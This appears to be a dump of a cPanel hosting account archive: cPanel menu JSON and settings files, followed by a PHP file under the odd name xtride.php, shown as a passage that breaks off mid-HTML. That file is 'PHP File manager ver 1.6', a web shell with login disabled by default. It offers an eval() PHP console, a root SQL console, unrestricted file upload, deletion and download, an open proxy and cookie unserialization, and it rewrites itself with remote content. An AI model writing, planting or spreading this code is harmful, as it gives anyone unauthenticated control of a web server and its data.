Website","subtype":"img","acontent":"","file":"optimize_website"},"boxtrapper":{"file":"boxtrapper","itemorder":"16","itemdesc":"BoxTrapper","width":"48","subtype":"img","acontent":"","imgtype":"icon","target":"","if":"$HASROLE{'MailReceive'} && !$CONFIF{'skipboxtrapper'}","type":"image","base64_png_image":"","key":"boxtrapper","description":"Filter spam from your inbox through challenge-response verification.","searchtext":"BoxTrapper filter","height":"48","onclick":"","feature":"boxtrapper","implements":"Email_BoxTrapper","group":"email","url":"mail/boxtrapper.html"},"web_host_manager":{"file":"web_host_manager","subtype":"img","acontent":"","itemorder":"1","itemdesc":"WebHost Manager®","width":"48","imgtype":"icon","type":"image","if":"$isreseller && !$team_user","target":"","key":"web_host_manager","searchtext":"WebHost Manager webhostmanager whm WebHost Manager®","description":"WebHost Manager®","base64_png_image":"","onclick":"","height":"48","url":"/xferwhm/","group":"advanced"},"change_language":{"file":"change_language","subtype":"img","acontent":"","width":"48","itemdesc":"Change Language","itemorder":"2","imgtype":"icon","type":"image","target":"","plainitemdesc":"Change Language","searchtext":"language setlang Change Language","description":"Change your default language.","key":"change_language","base64_png_image":"","feature":"setlang","onclick":"","height":"48","implements":"Locale_Change","url":"setlang/index.html","group":"preferences"},"group_domains":{"groupdesc":"Domains","group":"domains","base64_png_image":"","key":"group_domains","description":"Domains","searchtext":"group_domains","height":"48","onclick":"","imgtype":"icon","grouporder":"4","target":"","type":"image","if":"$HASROLE{'WebServer'} || $HASROLE{'DNS'}","file":"group_domains","width":"4","itemdesc":"group_domains","acontent":"","subtype":"img"},"zone_editor":{"itemorder":"6","width":"48","itemdesc":"Zone Editor","acontent":"","subtype":"img","file":"zone_editor","target":"","plainitemdesc":"Zone Editor","type":"image","if":"$HASROLE{'DNS'}","imgtype":"icon","height":"48","onclick":"","feature":"simplezoneedit || changemx || zoneedit","base64_png_image":"","key":"zone_editor","description":"Create, manage, and delete DNS zone records.","searchtext":"zone editor advanced simple caa cname a aaaa txt dkim dmarc spf mx srv record dns dnssec Zone Editor","group":"domains","url":"zone_editor/index.html","implements":"Zone_Editor"},"user_manager":{"height":"48","feature":"user_manager","onclick":"","base64_png_image":"","searchtext":"password change ftp email webdisk webdav service User Manager","description":"Manage the users who can access various systems on your cPanel account.","key":"user_manager","group":"preferences","url":"user_manager/index.html","itemdesc":"User Manager","width":"48","itemorder":"4","acontent":"","subtype":"img","file":"user_manager","target":"","plainitemdesc":"User Manager","if":"$HASROLE{'FTP'} || $HASROLE{'WebDisk'}","type":"image","imgtype":"icon"},"leech_protection":{"base64_png_image":"","description":"Detect unusual levels of activity in password-restricted directories.","searchtext":"Leech Protection protect","key":"leech_protection","height":"48","feature":"cpanelpro_leechprotect && webprotect","onclick":"","group":"security","url":"htaccess/leechprotect/leechprotect.html","file":"leech_protection","width":"48","itemdesc":"Leech Protection","itemorder":"5","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Leech Protection","target":"","if":"$HASROLE{'WebServer'}","type":"image"},"lvewpos":{"base64_png_image":"","searchtext":"AccelerateWP","description":"AccelerateWP","height":"48","feature":"lvewpos","onclick":"","group":"software","url":"lveversion/wpos.live.pl","file":"lvewpos","width":"48","itemdesc":"AccelerateWP","itemorder":"999","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"AccelerateWP","type":"image"},"multiphp_ini_editor":{"url":"multiphp_ini_editor/index.html","group":"software","onclick":"","feature":"multiphp_ini_editor","height":"48","key":"multiphp_ini_editor","searchtext":"MultiPHP INI Editor php config","description":"Configure your website’s PHP settings.","base64_png_image":"","if":"$is_ea4","type":"image","plainitemdesc":"MultiPHP INI Editor","target":"","imgtype":"icon","acontent":"","subtype":"img","itemorder":"9","itemdesc":"MultiPHP INI Editor","width":"48","file":"multiphp_ini_editor"},"encryption":{"file":"encryption","itemorder":"15","itemdesc":"Encryption","width":"48","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"Encryption","type":"image","if":"$HASROLE{'MailReceive'}","base64_png_image":"","key":"encryption","description":"Create, manage, and delete GnuPG keys.","searchtext":"Encryption gpg keys GnuPG Keys","height":"48","onclick":"","feature":"pgp","group":"email","url":"gpg/index.html"},"default_address":{"key":"default_address","description":"Set up a default email address.","searchtext":"Default Address","base64_png_image":"","onclick":"","feature":"defaultaddress","height":"48","implements":"Email_DefaultAddress","url":"mail/def.html","group":"email","file":"default_address","acontent":"","subtype":"img","itemorder":"6","itemdesc":"Default Address","width":"48","imgtype":"icon","type":"image","if":"$HASROLE{'MailReceive'}","plainitemdesc":"Default Address","target":""}}}PK r �[��܃ , .cpanel/nvdata/cp-feature-showcase_dismissednu �[��� 1PK r �[��܃ D .cpanel/nvdata/campaign.cpanel-koality-sidebar-app.6.10.24-dismissednu �[��� 1PK r �[���W W % .cpanel/nvdata/CSSS_cpanel_api_tokensnu �[��� {"apiTokensItemLister":{"pageSize":20,"sort":{"sortDirection":"asc","sortBy":"label"}}}PK r �[��܃ ( .cpanel/nvdata/terminal_warning_acceptednu �[��� 1PK r �[ akcc.phpnu �[��� PK r �[�I�]: ]: xtride.phpnu �[��� <?php /* PHP File manager ver 1.6 */ // Configuration — do not change manually! $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":""}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search": "Рекурсивный поиск","Mask":"Маска"}'; // end configuration // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.6; ini_set('display_errors', '1'); ini_set('display_startup_errors', '1'); error_reporting(E_ALL); //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/henriyzx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, 